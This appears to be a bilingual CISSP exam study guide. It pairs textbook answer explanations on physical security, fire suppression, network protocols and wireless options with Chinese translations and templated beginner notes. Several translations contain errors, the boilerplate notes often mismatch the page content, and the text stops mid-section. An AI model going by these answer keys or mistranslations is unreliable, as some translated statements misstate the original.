入侵防御系统 IPS IPS 可检测并主动阻断恶意流量。
审计 审计检查控制是否存在、是否有效、是否符合要求。
日志 日志记录系统和用户活动,用于监控、审计和调查。
学习单元 108 / PDF P1502

机密性:让该看的人看,不该看的人看不到

机密性重点是防泄露,同时不能妨碍授权访问。

教材原文段落

4. D. Equal access to all locations within a facility is not a security-focused design element. Each area containing assets or resources of different importance, value, and confidentiality should have a corresponding level of security restriction placed on it. A secure facility should have a separation between work and visitor areas and should restrict access to areas with higher value or importance, and confidential assets should be located in the heart or center of a facility. 5. A. A computer room does not need to be optimized for human workers to be efficient and secure.

A server room would be more secure with a nonwater fire suppressant system (it would protect against damage caused by water suppressant). A server room should have humidity maintained between 20 and 80 percent relative humidity and temperature maintained between 59 and 89.6 degrees Fahrenheit. 6. C. Hashing is not a typical security measure implemented in relation to a media storage facility containing reusable, removable media. Hashing is used when it is necessary to verify the integrity of a dataset, whereas data on reusable removable media should be removed and not retained.

Usually, the security features for a media storage facility include using a media librarian or custodian, using a check-in/checkout process, and using sanitization tools on returned media. 7. B. The humidity in a computer room should ideally be from 20 to 80 percent. Humidity above 80 percent can result in condensation, which causes corrosion. Humidity below 20 percent can result in increased static electricity buildup. However, this does require managing temperature properly as well. The other number ranges are not the relative humidity ranges recommended for a data center. 8. B, C, E, F, H.

The primary elements of a cable plant management policy should include a mapping of the entrance facility (i.e., demarcation point), equipment room, backbone distribution system, telecommunications room, and horizontal distribution system. The other items are not elements of a cable plant. Thus, person traps, fire escapes, UPSs, and the loading dock are not needed elements on a cable map. 9. C. A preaction system is the best type of water-based fire suppression system for a computer facility because it provides the opportunity to prevent the release of water in the event of a false alarm or false initial trigger. The other options of wet pipe, dry pipe, and deluge system use 4. D.

中文直译 / 整理

在设施内所有位置的平等访问并非以安全为重点的设计要素。 每个包 含不同重要性、价值和保密级别资产或资源的区域,都应设置相应级别的安 全限制。 一个安全的设施应在工作区和访客区之间进行隔离,并限制对高价 值或重要区域的访问,敏感资产应位于设施的核心或中心位置。 5. A. 计算机房无需为提高人类工作者的效率和安全性而进行优化。 服务器房 应配备非水性灭火系统(可防止水灭火造成的损害)。 服务器房的湿度应维 持在20%至80%相对湿度之间,温度应维持在59至89.6华氏度之间。 6. C. 哈希并非在包含可重复使用可移动介质的媒体存储设施中通常实施的安 全措施。 哈希用于验证数据集的完整性,而可重复使用可移动介质上的数据 应被清除而非保留。 通常,媒体存储设施的安全措施包括使用媒体管理员或 保管人、采用借出/归还流程,以及对归还的媒体使用净化工具。 7. B. 计算机房的湿度理想范围应为20%至80%。 湿度高于80%可能导致 冷凝,从而引起腐蚀; 湿度低于20%则可能导致静电积聚增加。 然而,这 也需要妥善管理温度。 其他数值范围并非数据中心推荐的相对湿度范围。

8. B, C, E, F, H. 电缆布线管理政策的主要要素应包括入口设施(即分界点)、 设备间、主干分布系统、电信间和水平分布系统的布线图。 其他项目并非电 缆布线的组成部分,因此人员陷阱、消防通道、UPS和装卸区并非电缆图中 必需的要素。 9. C. 预作用系统是计算机设施最合适的水基灭火系统,因为它能够在误报 警或误触发时防止水的释放。 其他选项如湿式管道、干式管道和雨淋系统 使用

小白解释

场景先行:想象公司有一个客户订单系统:客户资料被别人看到是机密性问题,订单金额被偷偷改是完整性问题,系统打不开是可用性问题。教材这一页就是教你把事故先翻译成安全目标。

这一页真正想让你理解的是:机密性重点是防泄露,同时不能妨碍授权访问。

把它放进公司里看,关键不是背定义,而是判断:把泄露、篡改、宕机混在一起,就会选错控制措施。

你作为负责人可以这样想:先判断事故破坏了 CIA 哪一项,再选择对应控制:防泄露、防篡改、保可用。

本页术语用人话说:

机密性:机密性让该看的人能看,不该看的人看不到。

完整性:完整性保证数据没有被未授权修改,并且仍然正确可信。

政策:政策是高层原则,说明必须遵守什么。

资产:资产是组织认为有价值、需要保护的东西,可以是数据、系统、人员、设施或声誉。

常见误区:不要把所有安全问题都归成“被黑了”。考试会逼你分清到底是泄露、篡改还是中断。

读完后用一句话复述:如果我是业务系统负责人,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“机密性:让该看的人看,不该看的人看不到”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是业务系统负责人在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

加密、访问控制、分类、培训都常用于保护机密性。

哈希、数字签名、变更控制、输入校验常对应完整性。

Policy 高层、强制、稳定;Procedure 具体步骤。

资产安全题先问资产是谁拥有、如何分类、谁负责保护。

哈希本身不提供机密性;它主要用于完整性校验。

排除法提醒:不要把所有安全问题都归成“被黑了”。考试会逼你分清到底是泄露、篡改还是中断。

本页术语拆解
机密性 机密性让该看的人能看,不该看的人看不到。
完整性 完整性保证数据没有被未授权修改,并且仍然正确可信。
政策 政策是高层原则,说明必须遵守什么。
资产 资产是组织认为有价值、需要保护的东西,可以是数据、系统、人员、设施或声誉。
哈希 哈希把任意长度数据变成固定长度摘要,用于校验是否被改过。
OSI 模型 OSI 用七层结构理解网络通信,从物理层到应用层。
学习单元 109 / PDF P1503

第 1503 页学习单元

这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

教材原文段落

only a single trigger mechanism without the ability to prevent accidental water release. 10. B. Human error is the most common cause of a false positive for a waterbased system. If you turn off the water source after a fire and forget to turn it back on, you'll be in trouble in the future. Also, pulling an alarm when there is no fire will trigger damaging water release throughout the office. Water shortage would be a problem, but it is not a cause for a false positive event. Ionization detectors are highly reliable, so they are usually not the cause of a false positive event.

Detectors can be placed in drop ceilings to monitor that air space; this would only be a problem if another detector was not placed in the room's main area. If there are only detectors in the drop ceiling, then that could result in a false negative event. 11. D. The cause of the hardware failures is implied by the lack of organization of the equipment, which is heat buildup. This could be addressed by better managing temperature and airflow, which would involve implementing hot and cold aisles in the data center. A data center should have few, if any, actual visitors (such as outsiders), but anyone entering and leaving a data center should be tracked and recorded in a log.

However, whether or not a visitor log is present has little to do with system failure due to poor heat management. Industrial camouflage is not relevant here since it is about hiding the purpose of a facility from outside observers. A gas-based fire suppression system is more appropriate for a data center than a water-based system, but neither would cause heat problems due to poor system organization. 12. B, C, D. Benefits of gas-based fire suppression include causing the least damage to computer systems and extinguishing the fire quickly by removing oxygen. Also, gas-based fire suppression may be more effective and faster than a water-based system.

A gas-based fire suppression system can only be used where human presence is at a minimum, since it removes oxygen from the air. 13. B. The correct order of the six common physical security control mechanisms is Deter, Deny, Detect, Delay, Determine, Decide. The other options are incorrect. 14. C. Mean time to failure (MTTF) is the expected typical functional lifetime of the device given a specific operating environment. Mean time to repair (MTTR) is the average length of time required to perform a

中文直译 / 整理

仅有一个触发机制,无法防止意外放水。 10. B. 人为错误是水基系统误报最常见的原因。 如果你在火灾后关闭了水源却 忘记重新打开,将来就会遇到麻烦。 此外,在没有火灾的情况下拉动报警器, 会导致整个办公室发生破坏性的喷水。 缺水会成为一个问题,但它并不是导致 误报事件的原因。 电离探测器非常可靠,因此通常不是误报事件的原因。 探测 器可以安装在吊顶内以监测该空间; 只有当房间主要区域未安装其他探测器时, 这才可能成为一个问题。 如果仅在吊顶内安装探测器,则可能导致误报事件。 11. D. 硬件故障的原因隐含在设备缺乏组织性中,即热量积聚。 这可以通过更 好地管理温度和气流来解决,例如在数据中心实施冷热通道。 数据中心应几乎 没有实际访客(如外部人员),但任何进入和离开数据中心的人员都应被跟踪 并记录在日志中。 然而,是否有访客日志与因热量管理不善导致的系统故障关 系不大。 工业伪装与此无关,因为它涉及向外部观察者隐藏设施的目的。 气体 灭火系统比水基系统更适合数据中心,但两者都不会因系统组织不良而引起热 量问题。 12. B、C、D。 基于气体的灭火优势包括对计算机系统造成的损害最小,并通 过移除氧气迅速扑灭火灾。

此外,基于气体的灭火系统可能比基于水的系统更 有效且更快。 基于气体的灭火系统仅适用于人员稀少的区域,因为它会从空气 中移除氧气。 13. B。 六种常见的物理安全控制机制的正确顺序是威慑、拒绝、检测、延迟、 确定、决策。 其他选项均不正确。 14. C。 平均故障间隔时间(MTTF)是指在特定运行环境下,设备预期的典 型功能寿命。 平均修复时间(MTTR)是指执行一次

小白解释

场景先行:员工在家访问公司系统,流量要穿过家庭网络、互联网、防火墙、VPN、服务器。网络安全题就是让你判断问题发生在哪一层、用哪个控制放在什么位置。

这一页真正想让你理解的是:这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

把它放进公司里看,关键不是背定义,而是判断:不分层就会乱选设备:该加密的地方装防火墙,该监测的地方却只做访问控制。

你作为负责人可以这样想:先定位网络层次,再决定是分段、过滤、加密、检测还是阻断。

本页术语用人话说:

OSI 模型:OSI 用七层结构理解网络通信,从物理层到应用层。

日志:日志记录系统和用户活动,用于监控、审计和调查。

恢复点目标 RPO:RPO 是最多能接受丢失多少时间范围的数据。

常见误区:不要以为防火墙能解决所有网络问题;它只是控制流量的一类工具。

读完后用一句话复述:如果我是网络安全工程师,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“第 1503 页学习单元”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是网络安全工程师在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

网络题先定位层次,再判断协议、设备或攻击位置。

日志要保护完整性、时间同步和访问控制。

RPO 问数据:最多丢到哪个时间点。

排除法提醒:不要以为防火墙能解决所有网络问题;它只是控制流量的一类工具。

本页术语拆解
OSI 模型 OSI 用七层结构理解网络通信,从物理层到应用层。
日志 日志记录系统和用户活动,用于监控、审计和调查。
恢复点目标 RPO RPO 是最多能接受丢失多少时间范围的数据。
学习单元 110 / PDF P1504

机密性:让该看的人看,不该看的人看不到

机密性重点是防泄露,同时不能妨碍授权访问。

教材原文段落

repair on the device. Mean time between failures (MTBF) is an estimation of the time between the first and any subsequent failures. A service-level agreement (SLA) clearly defines the response time a vendor will provide in the event of an equipment failure emergency. 15. C. Human safety is the most important goal of all security solutions. The top priority of security should always be the protection of the lives and safety of personnel. The protection of CIA (confidentiality, integrity, and availability) of company data and other assets is the second priority after human life and safety. 16. C.

A person trap is a double set of doors often protected by a guard and used to contain a subject until their identity and authentication is verified. A gate is a doorway used to traverse through a fence line. A turnstile is an ingress or egress point that allows travel only in one direction and by one person at a time. A proximity detector determines whether a proximity device is nearby and whether the bearer is authorized to access the area being protected. 17. D. Lighting is often claimed to be the most commonly deployed physical security mechanism. However, lighting is only a deterrent and not a strong deterrent.

It should not be used as the primary or sole protection mechanism except in areas with a low threat level. Your entire site, inside and out, should be well lit. This provides for easy identification of personnel and makes it easier to notice intrusions. Security guards are not as common as lighting, but they are more flexible in terms of security benefits. Fences are not as common as lighting, but they serve as a preventive control. CCTV is not as common as lighting but serves as a detection control. 18. A. Security guards are usually unaware of the scope of the operations within a facility and are therefore not thoroughly equipped to know how to respond to every situation.

Though this is considered a disadvantage, the lack of knowledge of the scope of the operations within a facility can also be considered an advantage because this supports confidentiality of those operations and thus helps reduce the possibility that a security guard will be involved in the disclosure of confidential information. Thus, even though this answer option is ambiguous, it is still better than the three other options. The other three options are disadvantages of security guards. Not all environments and facilities support security guards. This may be because of actual human incompatibility or the

中文直译 / 整理

设备维修。 平均故障间隔时间(MTBF)是首次故障与任何后续故障之间 时间的估算值。 服务级别协议(SLA)明确界定了在设备故障紧急情况下, 供应商将提供的响应时间。 15. C. 人身安全是所有安全解决方案的首要目标。 安全的首要任务始终是保护 人员的生命和安全。 保护公司数据和其他资产的机密性、完整性和可用性 (CIA)仅次于人身安全。 16. C. 人 trap 是一对双门,通常由保安守护,用于在验证身份和认证之前 暂时隔离人员。 门是用于穿越围栏的通道。 旋转门是一种仅允许单向、单 人通行的出入口。 邻近探测器用于判断是否有邻近设备存在,以及携带者 是否被授权访问受保护区域。 17. D. 照明常被认为是部署最广泛的安全物理措施。 然而,照明仅是一种威慑 手段,并非强有力的威慑。 除在低威胁区域外,不应将其作为主要或唯一保护 措施。 您的整个场地,包括室内外,都应充分照明。 这有助于轻松识别人员, 并更容易发现入侵行为。 保安人员不如照明普遍,但在安全效益方面更具灵活 性。 围栏不如照明普遍,但起到预防控制作用。 闭路电视(CCTV)不如照明 普遍,但起到检测控制作用。

18. A. 安保人员通常不了解设施内操作的范围,因此并不完全具备应对每种 情况的能力。 尽管这被视为一种劣势,但对设施内操作范围缺乏了解也可能 被视为一种优势,因为这有助于维护这些操作的机密性,从而降低安保人员 参与泄露机密信息的可能性。 因此,尽管这个选项存在歧义,它仍优于其他 三个选项。 其他三个选项都是安保人员的劣势。 并非所有环境和设施都支持 配备安保人员。 这可能是由于实际的人力不兼容或

小白解释

场景先行:想象公司有一个客户订单系统:客户资料被别人看到是机密性问题,订单金额被偷偷改是完整性问题,系统打不开是可用性问题。教材这一页就是教你把事故先翻译成安全目标。

这一页真正想让你理解的是:机密性重点是防泄露,同时不能妨碍授权访问。

把它放进公司里看,关键不是背定义,而是判断:把泄露、篡改、宕机混在一起,就会选错控制措施。

你作为负责人可以这样想:先判断事故破坏了 CIA 哪一项,再选择对应控制:防泄露、防篡改、保可用。

本页术语用人话说:

机密性:机密性让该看的人能看,不该看的人看不到。

完整性:完整性保证数据没有被未授权修改,并且仍然正确可信。

可用性:可用性保证授权用户需要时能及时使用系统和数据。

认证:认证是验证“你是不是你声称的那个人”。

常见误区:不要把所有安全问题都归成“被黑了”。考试会逼你分清到底是泄露、篡改还是中断。

读完后用一句话复述:如果我是业务系统负责人,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“机密性:让该看的人看,不该看的人看不到”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是业务系统负责人在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

加密、访问控制、分类、培训都常用于保护机密性。

哈希、数字签名、变更控制、输入校验常对应完整性。

冗余、备份、BCP/DRP、抗 DoS、容量规划都对应可用性。

密码、令牌、生物特征、多因素认证都服务认证。

认证成功不等于什么都能做;权限仍要单独授权。

排除法提醒:不要把所有安全问题都归成“被黑了”。考试会逼你分清到底是泄露、篡改还是中断。

本页术语拆解
机密性 机密性让该看的人能看,不该看的人看不到。
完整性 完整性保证数据没有被未授权修改,并且仍然正确可信。
可用性 可用性保证授权用户需要时能及时使用系统和数据。
认证 认证是验证“你是不是你声称的那个人”。
授权 授权是认证之后决定你能访问什么、能做什么。
资产 资产是组织认为有价值、需要保护的东西,可以是数据、系统、人员、设施或声誉。
身份 身份是主体在系统中的标识。
学习单元 111 / PDF P1505

第 1505 页学习单元

这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

教材原文段落

layout, design, location, and construction of the facility. Not all security guards are themselves reliable. Prescreening, bonding, and training do not guarantee that you won't end up with an ineffective or unreliable security guard. 19. C. Key locks are the most common and inexpensive form of physical access control device for both interior and exterior use. Lighting, security guards, and fences are all much more costly. Fences are also mostly used outdoors. 20. D. A capacitance motion detector senses changes in the electrical or magnetic field surrounding a monitored object.

A wave pattern motion detector transmits a consistent low ultrasonic or high microwave frequency signal into a monitored area and monitors for significant or meaningful changes or disturbances in the reflected pattern. A photoelectric motion detector senses changes in visible light levels for the monitored area. Photoelectric motion detectors are usually deployed in internal rooms that have no windows and are kept dark. An infrared PIR (passive infrared) or heat-based motion detector monitors for significant or meaningful changes in the heat levels and patterns in a monitored area.

中文直译 / 整理

设施的布局、设计、位置和建造。 并非所有保安人员都可靠。 预筛选、 担保和培训并不能保证您不会雇佣到无效或不可靠的保安人员。 19. C. 密码锁是最常见且最便宜的物理访问控制装置,适用于室内外。 照明、安全 保安和围栏的成本则高得多。 围栏主要用于户外。 20. D. 电容式运动探测器感知被监控物体周围电场或磁场的变化。 波形模式 运动探测器向被监控区域发射一致的低频超声波或高频微波信号,并监测反 射模式中的显著或有意义的变化或干扰。 光电式运动探测器感知被监控区域 可见光水平的变化。 光电式运动探测器通常部署在无窗户且保持黑暗的室内 房间。 红外被动红外(PIR)或基于热感的运动探测器监测被监控区域中热量 水平和模式的显著或有意义的变化。

小白解释

场景先行:你是公司的安全负责人,正在读第 1505 页这一组概念。老板不会问你背定义,而是问:这件事会不会影响业务、谁负责、要不要花钱、出了事能不能解释清楚。

这一页真正想让你理解的是:这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

把它放进公司里看,关键不是背定义,而是判断:概念没放进业务场景,容易只背词,做题时不知道该选管理动作还是技术动作。

你作为负责人可以这样想:先确认业务目标和风险,再选控制措施,最后留下政策、审批、日志或证据。

如果这一页没有明显术语,就按“谁在做事、保护什么、怕什么、用什么控制、留下什么证据”来拆。

常见误区:不要一看到安全题就直接选最强工具;CISSP 更常考“在这个场景下谁该负责、下一步是什么”。

读完后用一句话复述:如果我是安全负责人,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“第 1505 页学习单元”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是安全负责人在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

排除法提醒:不要一看到安全题就直接选最强工具;CISSP 更常考“在这个场景下谁该负责、下一步是什么”。

本页术语拆解

本页没有识别到重点术语,按原文顺序理解即可。

学习单元 112 / PDF P1506

认证:证明身份

认证回答“你是不是你声称的那个人”。

教材原文段落

Chapter 11: Secure Network Architecture and Components 1. A. The SYN flagged packet is first sent from the initiating host to the destination host; thus, it is the first step or phase in the TCP three-way handshake sequence used to establish a TCP session. The destination host then responds with a SYN/ACK flagged packet; this is the second step or phase of the TCP three-way handshake sequence. The initiating host sends an ACK flagged packet, and the connection is then established (the final or third step or phase). The FIN flag is used to gracefully shut down an established session. 2. D. UDP is a simplex protocol at the Transport Layer (Layer 4 of the OSI model).

Bits are associated with the Physical Layer (Layer 1). Logical addressing is associated with the Network Layer (Layer 3). Data reformatting is associated with the Presentation Layer (Layer 6). 3. A, B, D. The means by which IPv6 and IPv4 can coexist on the same network is to use one or more of three primary options: dual stack, tunneling, or NAT-PT. Dual stack is to have most systems operate both IPv4 and IPv6 and use the appropriate protocol for each conversation. Tunneling allows most systems to operate a single stack of either IPv4 or IPv6 and use an encapsulation tunnel to access systems of the other protocol.

Network Address Translation-Protocol Translation (NAT-PT) (RFC-2766) can be used to convert between IPv4 and IPv6 network segments similar to how NAT converts between internal and external addresses. IPSec is a standard of IP security extensions used as an add-on for IPv4 and integrated into IPv6, but it does not enable the use of both IPv4 and IPv6 on the same system (although it doesn't prevent it either). IP sideloading is not a real concept. 4. A, B, E. TLS allows for use of TCP port 443; prevents tampering, spoofing, and eavesdropping; and can be used as a VPN solution. The other options are incorrect. TLS supports both one-way and two-way authentication.

TLS and SSL are not interoperable or backward compatible. 5. B. Encapsulation is both a benefit and a potentially harmful implication of multilayer protocols. Encapsulation allows for encryption, flexibility, and resiliency, while also enabling covert channels, filter bypass, and overstepping network segmentation boundaries. Throughput is the capability of moving data across or through a network; this is not an

中文直译 / 整理

第11章:安全网络架构与组件 1. A. 首先,带有SYN标志的报文由发起主机发送至目标主机; 因此,它是用 于建立TCP会话的TCP三次握手序列的第一步或阶段。 目标主机随后响应一 个带有SYN/ACK标志的报文; 这是TCP三次握手序列的第二步或阶段。 发起 主机发送一个带有ACK标志的报文,连接随即建立(最后一步或第三阶段)。 FIN标志用于优雅地关闭已建立的会话。 2. D. UDP是传输层(OSI模型的第4层)的一种单工协议。 比特与物理层 (第1层)相关联。 逻辑寻址与网络层(第3层)相关联。 数据格式转换与 表示层(第6层)相关联。 3. A、B、D。 IPv6与IPv4在同一网络中共存的方式是使用以下三种主要选项 之一或多个:双栈、隧道或NAT‑PT。 双栈是指大多数系统同时运行IPv4和 IPv6,并为每次通信使用适当的协议。 隧道允许大多数系统仅运行IPv4或 IPv6中的单个协议栈,并通过封装隧道访问另一种协议的系统。 网络地址转 换‑协议转换(NAT‑PT)(RFC‑2766)可用于在IPv4和IPv6网络段之间进 行转换,类似于NAT在内部和外部地址之间的转换。

IPSec是IP安全扩展的 标准,作为IPv4的附加组件,并集成到IPv6中,但它并不允许在同一系统上 同时使用IPv4和IPv6(尽管它也不阻止这种使用)。 IP侧载不是一个真实存 在的概念。 4. A、B、E。 TLS 允许使用 TCP 端口 443; 可防止篡改、伪装和窃听; 并可 作为 VPN 解决方案使用。 其他选项均不正确。 TLS 支持单向和双向认证。 TLS 和 SSL 不兼容,也不向后兼容。 5. B。 封装既是多层协议的一个优势,也可能带来潜在危害。 封装允许加密、 灵活性和韧性,同时也可能启用隐蔽通道、绕过过滤器以及跨越网络分段边 界。 吞吐量是指在网络中传输数据的能力; 这不是一个

小白解释

场景先行:新员工入职后要登录系统。第一步是声明身份,第二步证明身份,第三步决定能访问哪些数据,最后系统要记录他做了什么。IAM 题就是围绕这条链条出题。

这一页真正想让你理解的是:认证回答“你是不是你声称的那个人”。

把它放进公司里看,关键不是背定义,而是判断:认证成功不代表什么都能做;离职、调岗、权限漂移都会造成越权。

你作为负责人可以这样想:把识别、认证、授权、审计分开看,再用最小权限和定期复核收口。

本页术语用人话说:

认证:认证是验证“你是不是你声称的那个人”。

加密:加密把内容变成未授权者看不懂的形式。

标准:标准给出必须满足的最低要求。

OSI 模型:OSI 用七层结构理解网络通信,从物理层到应用层。

常见误区:不要把 authentication 和 authorization 混成一件事:前者证明你是谁,后者决定你能干什么。

读完后用一句话复述:如果我是IAM 管理员,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“认证:证明身份”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是IAM 管理员在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

密码、令牌、生物特征、多因素认证都服务认证。

加密主要保护机密性,也可配合签名、哈希支持完整性和真实性。

Minimum level、mandatory requirement 常对应 standard。

网络题先定位层次,再判断协议、设备或攻击位置。

IPS 放在线路中,误报可能影响可用性。

排除法提醒:不要把 authentication 和 authorization 混成一件事:前者证明你是谁,后者决定你能干什么。

本页术语拆解
认证 认证是验证“你是不是你声称的那个人”。
加密 加密把内容变成未授权者看不懂的形式。
标准 标准给出必须满足的最低要求。
OSI 模型 OSI 用七层结构理解网络通信,从物理层到应用层。
入侵防御系统 IPS IPS 可检测并主动阻断恶意流量。
虚拟专用网络 VPN VPN 在不可信网络上建立加密隧道。
日志 日志记录系统和用户活动,用于监控、审计和调查。
学习单元 113 / PDF P1507

完整性:数据要正确、可信、未被乱改

完整性不只是防黑客篡改,也包括防授权用户误操作。

教材原文段落

implication of multilayer protocols. Hash integrity checking is a common benefit of multilayer protocols because most layers include a hash function in their header or footer. Logical addressing is a benefit of multilayer protocols; this avoids the restriction of using only physical addressing. 6. C. In this scenario, the only viable option to provide performance, availability, and security for the VoIP service is to implement a new, separate network for the VoIP system that is independent of the existing data network. The current data network is already at capacity, so creating a new VLAN will not provide sufficient insurance that the VoIP service will be highly available.

Replacing switches with routers is usually not a valid strategy for increasing network capacity, and 1,000 Mbps is the same as 1 Gbps. Flood guards are useful against DoS and some transmission errors (such as Ethernet floods or broadcast storms), but they do not add more capacity to a network or provide reliable uptime for a VoIP service. 7. B, C, E. Micro-segmentation can be implemented using internal segmentation firewalls (ISFWs), transactions between zones are filtered, and it can be implemented with virtual systems and virtual networks. Affinity or preference is the assignment of the cores of a CPU to perform different tasks.

Micro-segmentation is not related to edge and fog computing management. 8. A. The device in this scenario would benefit from the use of Zigbee. Zigbee is an IoT equipment communications concept that is based on Bluetooth. Zigbee has low power consumption and a low throughput rate, and it requires close proximity of devices. Zigbee communications are encrypted using a 128-bit symmetric algorithm. Bluetooth is not a good option since it is usually plaintext. Bluetooth Low Energy (BLE) might be a viable option if custom encryption was added.

Geostationary orbit (GEO) satellite internet service would offer slower throughput with higher latency compared to terrestrial options, and while it may offer encryption, it is not an appropriate option for this scenario. 5G is the latest mobile service technology that is available for use on mobile phones, tablets, and other equipment. Though many IoT devices may support and use 5G, it is mostly used to provide direct access to the Internet rather than as a link to a local short-distance device, such as a PC or IoT hub.

中文直译 / 整理

多层协议的含义。 哈希完整性检查是多层协议的常见优势,因为大多数层 都在其头部或尾部包含哈希函数。 逻辑寻址是多层协议的优势; 这避免了 仅使用物理寻址的限制。 6. C。 在此场景中,为VoIP服务提供性能、可用性和安全性的唯一可行方案 是实施一个独立于现有数据网络的新专用网络。 当前数据网络已达到容量上 限,因此创建新的VLAN无法充分保证VoIP服务的高可用性。 用路由器替换 交换机通常不是增加网络容量的有效策略,且1,000 Mbps等同于1 Gbps。 洪水防护有助于防范DoS攻击和某些传输错误(如以太网洪水或广播风暴), 但它们无法增加网络容量,也无法为VoIP服务提供可靠的正常运行时间。 7. B、C、E。 微分段可通过内部分割防火墙(ISFW)实现,区域间的事务 会被过滤,并可通过虚拟系统和虚拟网络实现。 亲和性或偏好是指将CPU核 心分配执行不同任务。 微分段与边缘计算和雾计算管理无关。 8. A. 在此场景中,该设备将受益于使用Zigbee。 Zigbee是一种基于蓝牙的 物联网设备通信概念,具有低功耗和低吞吐率的特点,并要求设备之间近距 离通信。 Zigbee通信使用128位对称算法进行加密。

蓝牙不是良好选择,因 为它通常是明文传输。 如果添加自定义加密,蓝牙低功耗(BLE)可能是一 个可行的选项。 地球静止轨道(GEO)卫星互联网服务相比地面选项提供更 慢的吞吐率和更高的延迟,尽管它可能提供加密,但在此场景中并不适用。 5G是目前可用于手机、平板电脑及其他设备的最新移动服务技术。 虽然许多 物联网设备支持并使用5G,但它主要用于提供直接的互联网接入,而非作为 与本地短距离设备(如PC或物联网网关)连接的链路。

小白解释

场景先行:想象公司有一个客户订单系统:客户资料被别人看到是机密性问题,订单金额被偷偷改是完整性问题,系统打不开是可用性问题。教材这一页就是教你把事故先翻译成安全目标。

这一页真正想让你理解的是:完整性不只是防黑客篡改,也包括防授权用户误操作。

把它放进公司里看,关键不是背定义,而是判断:把泄露、篡改、宕机混在一起,就会选错控制措施。

你作为负责人可以这样想:先判断事故破坏了 CIA 哪一项,再选择对应控制:防泄露、防篡改、保可用。

本页术语用人话说:

完整性:完整性保证数据没有被未授权修改,并且仍然正确可信。

可用性:可用性保证授权用户需要时能及时使用系统和数据。

加密:加密把内容变成未授权者看不懂的形式。

对称加密:对称加密使用同一把密钥加密和解密,速度快但密钥分发难。

常见误区:不要把所有安全问题都归成“被黑了”。考试会逼你分清到底是泄露、篡改还是中断。

读完后用一句话复述:如果我是业务系统负责人,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“完整性:数据要正确、可信、未被乱改”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是业务系统负责人在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

哈希、数字签名、变更控制、输入校验常对应完整性。

冗余、备份、BCP/DRP、抗 DoS、容量规划都对应可用性。

加密主要保护机密性,也可配合签名、哈希支持完整性和真实性。

同一密钥、速度快、大数据加密常对应 symmetric。

哈希本身不提供机密性;它主要用于完整性校验。

排除法提醒:不要把所有安全问题都归成“被黑了”。考试会逼你分清到底是泄露、篡改还是中断。

本页术语拆解
完整性 完整性保证数据没有被未授权修改,并且仍然正确可信。
可用性 可用性保证授权用户需要时能及时使用系统和数据。
加密 加密把内容变成未授权者看不懂的形式。
对称加密 对称加密使用同一把密钥加密和解密,速度快但密钥分发难。
哈希 哈希把任意长度数据变成固定长度摘要,用于校验是否被改过。
防火墙 防火墙根据规则控制网络流量进出。
入侵检测系统 IDS IDS 负责发现可疑行为并告警,一般不直接阻断。
日志 日志记录系统和用户活动,用于监控、审计和调查。
学习单元 114 / PDF P1508

可用性:需要时能用,且性能可接受

可用性关注中断、故障、DoS、备份和冗余。

教材原文段落

9. A, B, D. Cellular services, such as 4G and 5G, raise numerous security and operational concerns. Although cellular service is encrypted from device to tower, there is a risk of being fooled by a false or rogue tower. A rogue tower could offer only plaintext connections, but even if it supported encrypted transactions, the encryption only applies to the radio transmissions between the device and the tower. Once the communication is on the tower, it will be decrypted, allowing for eavesdropping and content manipulation.

Even without a rogue tower, eavesdropping can occur across the cellular carrier's interior network as well as across the Internet, unless a VPN link is established between the remote mobile device and the network of the organization James works for. Being able to establish a connection can be unreliable depending on exactly where James's travel takes him. 4G and 5G coverage is not 100 percent available everywhere. Each 5G tower covers less area than a 4G tower. If James is able to establish a connection, 4G and 5G speeds should be sufficient for most remote technician activities, since 4G supports 100 Mbps for mobile devices, and 5G supports up to 10 Gbps.

If connectivity is established, there should be no issues with cloud interaction or duplex conversations. 10. B. A content distribution network (CDN), or content delivery network, is a collection of resource service hosts deployed in numerous data centers across the world to provide low latency, high performance, and high availability of the hosted content. VPNs are used to transport communications over an intermediary medium through the means of encapsulation (i.e., tunneling), authentication, and encryption. Softwaredefined networking (SDN) aims at separating the infrastructure layer from the control layer on networking hardware to reduce management complexity.

Counter Mode with Cipher Block Chaining Message Authentication Code Protocol (CCMP) (Counter-Mode/CBC-MAC Protocol) is the combination of two block cipher modes to enable streaming by a block algorithm. 11. D. The true statement is: ARP poisoning can use unsolicited or gratuitous replies—specifically, ARP replies for which the local device did not transmit an ARP broadcast request. Many systems accept all ARP replies regardless of who requested them. The other statements are false. The correct versions of those statements would be: (A) MAC flooding is used to overload the memory of a switch, specifically the CAM table stored in switch memory when bogus information will cause the switch 9.

A、B、D。

中文直译 / 整理

